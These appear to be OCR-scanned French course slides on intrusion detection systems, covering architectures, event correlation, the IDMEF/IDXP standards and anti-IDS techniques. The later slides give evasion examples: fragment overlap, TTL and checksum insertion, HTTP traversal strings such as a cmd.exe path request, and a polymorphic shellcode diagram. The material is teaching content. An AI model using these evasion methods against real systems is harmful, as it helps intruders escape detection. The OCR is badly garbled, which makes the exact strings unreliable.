preferables.
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Architecture en ligne

(i)
IDS 1 IDS 2 IDS 3
(e fem— g Internet
: [ I Répartiteur de charge
Routeur

Réseau local Firewall

Source : Les IDS de Thierry Evangelista, Dunod/01 Informatique, 2001.
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Architecture en dérivation

IDS 3

Internet
¥ Tﬁrﬂ.,:: % ."'.'___-'_
Commutateur

Routeur
Réseau local Firewall

Source : Les IDS de Thierry Evangelista, Dunod/01 Informatique, 2001.
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Niveaux de corréelation

* Agrégation de données : capacite d’un systeme a
collecter des informations de sécurit¢ d’un
ensemble de sources heéterogene

* Fusion de données : capacit¢ de collecter des
données de sources hétérogenes et de les classifier
par source de déclenchement

* Correlation de données : capacite de déterminer un
motif commun relatif a une séquence
d’¢événements
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Meéthode de corrélation

* Corrélation d’événements dans le temps : détecter les
tentatives d’intrusion dispersées dans le temps

* Corrélation de regles ou de patterns : les ¢vénements
détectes sont regroupes.

— Le taux de compression : rapport entre le nombre
d’événements genéres par le systeme de corrélation et
le nombre d’¢vénements détectés par les sondes

* Correlation de vulnerabilites : corréler les événements
detectés par les sondes et les informations fournies par un
scanner de vulnérabilités.
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Analyse des flux cryptes

* Le décodage des flux cryptes a la volce
nécessite de connaitre les clés. 1l est
envisageable pour SSL.

* Sinon, on peut installer un HIDS sur la
machine qui  decode. Cela  peut
compromettre la stabilité du serveur.
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Manque d’interoperabilité

* L’interopérabilite se limite en géneral a la
possibilité d’exporter les données dans un
format standard, CSV ou base SQL.

* On ne sait pas faire cooperer différentes
briques telles que sondes, moteur d’analyse,
moteur de corrélation provenant de
constructeurs différents.
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IDS et normalisation

* But : defimir des moyens d’¢change
universels entre différents IDS

* Travaux effectu¢s par le groupe Intrusion
Detection Working Group (IDWG) de
I’IETF (Internet Engineering Task Force).
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Requis pour I’interopérabilité

Definition des modeles architecturaux
Deéfinition de messages standards

Definition d’un  protocole de transport
rapide et s€curise

Définition d’un mode¢le de représentation de
données

Définition d’un  langage commun de
description des attaques
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Norme IDMEF (Intrusion
Detection Message Format)

* Normalisation des messages échanges qui

specifie le format des messages, definition d’une
DTD XML.

* (lasse IDMEF-Message comprenant deux types
de messages

— alerte : message envoye par un analyseur a un
manager

— heartbeat : message envoyé¢ par un analyseur a
un manager pour communiquer son statut
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Pre-requis pour le protocole
d’¢change de messages

Transport de messages au travers des
pare-feux sans impacter la configuration

Meécanismes d’authentification entre
analyseur et manager

M¢canismes garantissant la confidentialite
des messages, support de plusieurs
algorithmes de cryptage

M¢écanismes de résistance aux attaques DoS
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Norme IDXP (Intrusion
Detection eXchange Protocol)
* IDXP s’appuie sur BEEP (Block Extensible

Exchange Protocol)

* Les mécanismes d’authentification et de
confidentialit¢ reposent sur la notion de
profil.

* Un profil specifique appel€ tunnel est utilise
pour communiquer a travers un pare-feu.
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Services fournit par BEEP

* Authentification mutuelle du manager et de
I’analyseur

* Confidentialité des messages
* Intégrite des messages
* Protection contre les dénis de service

* Protection contre la duplication et le rejeu
des messages.
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1. Techniques anti-IDS
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Techniques anti-IDS

 Détection d’un IDS

* Déni1 de service contre un IDS

* Techniques d’insertion

* Techniques d’¢vasion

* Exploitation des mauvais interpréteurs de logs
* Comportements ¢talés dans le temps

* Comportements déviants progressifs
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Détection d’un IDS

* Requéte ICMP particuliere
* Analyse des temps de latence
* Analyse des réponses a une attaque
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Détection d’un IDS avec ICMP

* Envoi d’'un ICMP request avec une
adresse MAC e¢gale a zeéro. S1 D'interface
répond, elle est probablement en mode
promiscuite.

—Fonctionne avec les Unix mais pas avec
Windows 2000 ou XP

* Prévention : IDS avec deux interfaces,
I’une en mode promiscuite, 1’autre non.
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Analyse des temps de latence

* Observation des temps de latence : Le temps de
réponse des interfaces en mode promiscuité est plus
long.

— Envol de ping pour mesurer les temps de
réponses

— Saturation du réseau avec des broadcasts

— Envo1l a nouveau de ping, mesure des temps de
réponses : une analyse statistique permet souvent
de déterminer la présence d’un IDS.
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Analyse des réponses a une
attaque

* Certains IDS répondent systématiquement
a certaines attaques.

* En analysant leurs reéponses, on peut les
detecter.
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Deéni de service contre un IDS

* Contrairement aux pare-feux qui coupent
les flux lors d’une attaque de démi de
services, les IDS sont neutralisés mais
continuent a laisser passer le trafic.
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Insertion contre un IDS

* Les techniques d’insertion consistent a
injecter des données supplémentaires dans
un flux de données pour que :

—1I’IDS ne voie pas ’attaque, par exemple
le pattern matching ¢choue,

—la cible ne decode pas les données
supplémentaires.
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Techniques d’insertion

* Exploitation des meécanismes
réassemblage

—Recouvrement de fragments
— Ecrasements de fragments
— Time out de fragmentation
—Découpage de sessions TCP

* Injection directe de paquets
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Vuln¢rabilite de la fragmentation

* Tous les systemes d’exploitation ne réassemblent pas
les paquets IP de la méme fagon :

— certains privilégient les anciens fragments
Windows NT 4.0, Solaris 2.6

— d’autres les fragments récents : BSD 4.4,
Linux.

* Les attaques réussissent lorsque 1I’IDS et la cible ne
réassemblent pas de la méme manicre.
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Recouvrement de fragment

* On peut masquer la signature d’une attaque
en la recouvrant partiellement.

* Signature : | default.ida?XXX

default.idz

A

a? XXX

e I’IDS décode | default.idz?XXX
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Ecrasement de fragment

* Méthode similaire a la précédente mais un
fragment entier en €crase un autre

Fragment 1 Fragment 2 Fragment 4
GET /default/i lyaunfragmentinutile %u6858...%u00=a http/1.0
' Fragment 3
[da?XXXXXX%u9090

Reconstruction par I'lDS

GET /default.ilyaunfragmentinutile%u6858. . .%u00=a http/1.0

Source : Les IDS de Thierry Evangelista, Dunod/01 Informatique, 2001.
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Time out de fragmentation

* La plupart des systemes gardent les
fragments en meémoire 60 s.

* S1 ’IDS les gardent moins longtemps, 1l ne
verra pas la signature d’une attaque ctalce
sur 60 s alors que la cible elle la verra.
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Injection directe de paquets

* On peut masquer une signature en ins€rant des
paquets qui seront acceptes par I’IDS mais rejeteés
par la cible :

—en envoyant un paquet avec un checksum
corrompu par exemple, ’attaque réussit si I’'IDS
ne prend pas le temps de verifier les
checksums :

— en utilisant le TTL s1 I’IDS et la cible ne sont
pas sur le méme segment.
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Utilisation du checksum

Requéte initiale

[GET /CGI-BIN/TEST-CGI |

Fragments envoyes par le pirate

[ GET/CGI-BI]| °Re | [NmES]ere ] | T-CGI [ cre

DO ] TRC

:

Source : Les IDS de Thierry Evangelista, Dunod/01 Informatique, 2001.
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Utilisation du TTL

TTL EXPIRED : PAQUET REJETE
e
J
II
/
[GET/CGIBI [TTi=126 | / [GETICGIBI |27 ] [GET /CGRBI [TTi=128T]

D =
O TTL=1 ]DC} f TTL=2 i |DO TTL=3 }

p—

[NTEST-CGI [Trizizs | [NTEST-CG [Ti=1z7 |  [NAEST-CGI [ TTL=128 |

<

Firewall Firewall

Ataquat

Firewall

Source : Les IDS de Thierry Evangelista, Dunod/01 Informatique, 2001.
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Decoupage de sessions TCP

* On peut appliquer des techniques similaires
au niveau TCP. Tous les systemes
d’exploitation ne reassemblent pas les
sessions TCP de la méme maniere :

— certains favorisent les premiers segments
comme Windows NT 4.0 ;

—D’autre favorisent les derniers comme
Linux, Solaris 2.6.
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Techniques d’¢vasion

* Evasions HTTP : exploitation des vulnérabilités
du protocole pour que I'IDS et la cible ne
recoivent pas la méme requéte.

* Shellcodes polymorphiques :  dissimulation
d’attaques souvent de type buffer overflow au
moyen

—d’un codage simple pour les i1nstructions
hostiles

— et d’une dissimulation des NOP par substitution.
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Evasions HTTP 1

* Modification de la méthode : certains IDS ont mis
la méthode (get, head, post) dans la signature et ne
détectent pas 1’attaque lorsque la méthode est
différente de celle de la signature

* Encodage d’URL : le protocole HTTP autorise les
caracteres binaires dans les URLs. Cela peut
tromper les IDS qui ne normalisent pas la requéte.

* Utilisation de « / » multiples : trompe certains
IDS.
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Evasions HTTP 2

* Traversce de repertoires fantomes :

get /cgi-bin/counter.cgi

devient

get /cgi-bin/fantome/../counter.cgi

* Autoréférences :

get /cgi-bin/./counter.cgi

* Simulation de fin de requétes : le caractere %00
est le caracteére de fin de chaine en C (\0).

get $00/cgi-bin/counter.cgi

* URL longs : certains IDS se contentent d’analyser

le debut des requétes.

get /aabb..zz/../cgi-bin/counter.cgi
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Evasions HTTP 3

* Camouflage de donn¢es apres la requéte : certains IDS se

contentent d’analyser la requéte sans les champs Header.
GET / HTTP/1.0\r\n
Header : /../../cgi-bin/counter.cgi HTTP/1.0\r\n\r\n

* Passage d’une requéte en parametre de script :

get index.html%$3fxxx=/../../winnt/system32/cmd.exe

* Syntaxe DOS/Windows : Le serveur IIS accepte le
separateur « \ ».

get /cgi-bin\counter.cgi
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Shellcode polymorphique

Shellcode initial |
execve («/bin/shy»);

Encodeur
§ XOR ,’l

X

i "4
< i

Gl —

e

NOPs i > | ' &
F I [demdeurj f clé ’ [f#!cek?q?de_ Zyit

Shellcode Polymorphique

Source : Les IDS de Thierry Evangelista, Dunod/01 Informatique, 2001.
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Exploitation des mauvais
interpreteurs de logs

* Certains serveurs web ne loggent pas
correctement toutes les requétes.

* Les H-IDS ne détectent pas toutes les
attaques.
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Comportements ¢tales dans le
temps

* La fenétre d’analyse d’un IDS est limitee.

* Un scan de ports tres ¢tale dans temps passe
Inapercu.
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Comportements déviants
progressifs

* M¢thode qui fonctionne avec les moteurs
d’analyse comportementale qui
fonctionnent par apprentissage :

—Le pirate crée petit a petit un profil
d’attaquant qui est appris par I’'IDS et
consideré comme inoffensif.
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